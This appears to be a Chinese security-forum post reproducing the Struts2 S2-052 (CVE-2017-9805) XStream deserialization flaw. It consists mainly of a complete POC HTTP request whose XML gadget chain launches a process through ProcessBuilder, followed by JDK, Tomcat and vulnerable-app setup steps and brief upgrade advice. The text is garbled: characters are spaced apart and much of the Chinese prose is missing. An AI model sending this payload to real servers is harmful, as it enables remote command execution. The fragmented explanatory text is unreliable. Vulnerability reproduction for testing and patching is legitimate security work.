[19296] 2018-04-24_s2-052漏洞复现

文档创建者:s7ckTeam
浏览次数:17
最后更新:2025-01-18
2018-04-24_s2-052漏洞复现 s 2 - 0 5 2 i   2 0 1 8 - 0 4 - 2 4 I n W o r l d i s 2 - 0 5 2 s t r u t s 2 - r e s t - p l u g i n X S t r e a m H a n d l e r t o O b j e c t ( ) 使 X S t r e a m C V E - 2 0 1 7 - 9 8 0 5 ( S 2 - 0 5 2 ) S t r u t s   2 . 5   -   S t r u t s   2 . 5 . 1 2 s 2 - 0 5 2   P O C
P O S T   / s t r u t s 2 - r e s t - s h o w c a s e / o r d e r s / 3 ; j s e s s i o n i d = A 8 2 E A A 2 8 5 7 A 1 F F A F 6 1 F F 2 4 A 1 F B B 4 A 3 C 7   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 : 8 0 8 0 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 2 ;   r v : 5 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 4 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 C o n t e n t - T y p e :   a p p l i c a t i o n / x m l C o n t e n t - L e n g t h :   2 3 6 5 R e f e r e r :   [ u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / s t r u t s 2 - r e s t - s h o w c a s e / o r d e r s / 3 / e d i t ] h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / s t r u t s 2 - r e s t - s h o w c a s e / o r d e r s / 3 / e d i t [ / u r l ] C o o k i e :   J S E S S I O N I D = A 8 2 E A A 2 8 5 7 A 1 F F A F 6 1 F F 2 4 A 1 F B B 4 A 3 C 7 C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 < m a p >     < e n t r y >         < j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g >             < f l a g s > 0 < / f l a g s >             < v a l u e   c l a s s = " c o m . s u n . x m l . i n t e r n a l . b i n d . v 2 . r u n t i m e . u n m a r s h a l l e r . B a s e 6 4 D a t a " >                 < d a t a H a n d l e r >                     < d a t a S o u r c e   c l a s s = " c o m . s u n . x m l . i n t e r n a l . w s . e n c o d i n g . x m l . X M L M e s s a g e $ X m l D a t a S o u r c e " >                         < i s   c l a s s = " j a v a x . c r y p t o . C i p h e r I n p u t S t r e a m " >                             < c i p h e r   c l a s s = " j a v a x . c r y p t o . N u l l C i p h e r " >                                 < i n i t i a l i z e d > f a l s e < / i n i t i a l i z e d >                                 < o p m o d e > 0 < / o p m o d e >                                 < s e r v i c e I t e r a t o r   c l a s s = " j a v a x . i m a g e i o . s p i . F i l t e r I t e r a t o r " >                                     < i t e r   c l a s s = " j a v a x . i m a g e i o . s p i . F i l t e r I t e r a t o r " >                                         < i t e r   c l a s s = " j a v a . u t i l . C o l l e c t i o n s $ E m p t y I t e r a t o r " / >                                         < n e x t   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r " >                                             < c o m m a n d >                                                 < s t r i n g > c a l c < / s t r i n g >                                             < / c o m m a n d >                                             < r e d i r e c t E r r o r S t r e a m > f a l s e < / r e d i r e c t E r r o r S t r e a m >                                         < / n e x t >                                     < / i t e r >                                     < f i l t e r   c l a s s = " j a v a x . i m a g e i o . I m a g e I O $ C o n t a i n s F i l t e r " >                                         < m e t h o d >                                             < c l a s s > j a v a . l a n g . P r o c e s s B u i l d e r < / c l a s s >                                             < n a m e > s t a r t < / n a m e >                                             < p a r a m e t e r - t y p e s / >                                         < / m e t h o d >                                         < n a m e > f o o < / n a m e >                                     < / f i l t e r >                                     < n e x t   c l a s s = " s t r i n g " > f o o < / n e x t >                                 < / s e r v i c e I t e r a t o r >                                 < l o c k / >                             < / c i p h e r >                             < i n p u t   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r $ N u l l I n p u t S t r e a m " / >                             < i b u f f e r > < / i b u f f e r >                             < d o n e > f a l s e < / d o n e >                             < o s t a r t > 0 < / o s t a r t >                             < o f i n i s h > 0 < / o f i n i s h >                             < c l o s e d > f a l s e < / c l o s e d >                         < / i s >                         < c o n s u m e d > f a l s e < / c o n s u m e d >                     < / d a t a S o u r c e >                     < t r a n s f e r F l a v o r s / >                 < / d a t a H a n d l e r >                 < d a t a L e n > 0 < / d a t a L e n >             < / v a l u e >         < / j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g >         < j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g   r e f e r e n c e = " . . / j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g " / >     < / e n t r y >     < e n t r y >         < j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g   r e f e r e n c e = " . . / . . / e n t r y / j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g " / >         < j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g   r e f e r e n c e = " . . / . . / e n t r y / j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g " / >     < / e n t r y > < / m a p > c o m m a n d , w i n d o w s
< c o m m a n d > < s t r i n g > c a l c < / s t r i n g > < / c o m m a n d > s 2 - 0 5 2 J a v a J D K J D K   h t t p : / / w w w . o r a c l e . c o m / t e c h n e t w o r k / j a v a / j a v a s e / d o w n l o a d s / j d k 8 - d o w n l o a d s - 2 1 3 3 1 5 1 . h t m l w i n d o w s w i n d o w s 1   : J A V A _ H O M E : J D K 2   : C L A S S P A T H : . ; % J A V A _ H O M E % l i b ; % J A V A _ H O M E % l i b d t . j a r ; % J A V A _ H O M E % l i b t o o l s . j a r ; % T O M C A T _ H O M E % B I N 3   P A T H P A T H ; % J A V A _ H O M E % b i n ; % J A V A _ H O M E % j r e b i n ; p a t h T o m c a t T o m c a t T o m c a t   h t t p : / / t o m c a t . a p a c h e . o r g / d o w n l o a d - 9 0 . c g i T o m c a t T o m c a t : T O M C A T _ H O M E : T O M C A T T o m c a t b i n s t a r t u p . b a t ; d o s d o s d o s j d k 访 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 t o m c a t / L i b r a r y / T o m c a t / c o n f / s e r v e r . x m l 8 0 8 0 s t r u t s 2 1 . s t r u t s 2 s t r u t s - 2 . 5 . 1 2   h t t p : / / a r c h i v e . a p a c h e . o r g / d i s t / s t r u t s / 2 . 5 . 1 2 / s t r u t s - 2 . 5 . 1 2 - a p p s . z i p   s t r u t s - 2 . 5 . 1 2 - a p p s s t r u t s - 2 . 5 . 1 2 - a l l . z i p s t r u t s - 2 . 5 . 1 2 - a l l . z i p 西 l i b j a r 2 . s t r u t s - 2 . 5 . 1 2 - a p p s a p p s t r u t s 2 - r e s t - s h o w c a s e . w a r w e b a p p s c o n f / s e r v e r . x m l
3 . a p p B a s e w e b a p p s u n p a c k W A R s t r u e x x x . w a r a u t o D e p l o y t r u e ( ? )   访     h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / s t r u t s 2 - r e s t - s h o w c a s e /   C o n t e n t - T y p e P O S T
1 . S t r u t s 2 . 5 . 1 3 2 . 使 S t r u t s   R E S T J S O N s p y t h o n h t t p s : / / g i t h u b . c o m / y s r c / x u n f e n g / c o m m i t / f 9 a e 6 9 f e 1 7 6 c 8 b c a 6 2 2 8 3 1 e 1 2 6 c d 9 4 4 1 4 e b e 2 6 f 6 ? f r o m = t i m e l i n e & i s a p p i n s t a l l e d = 0 ~

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则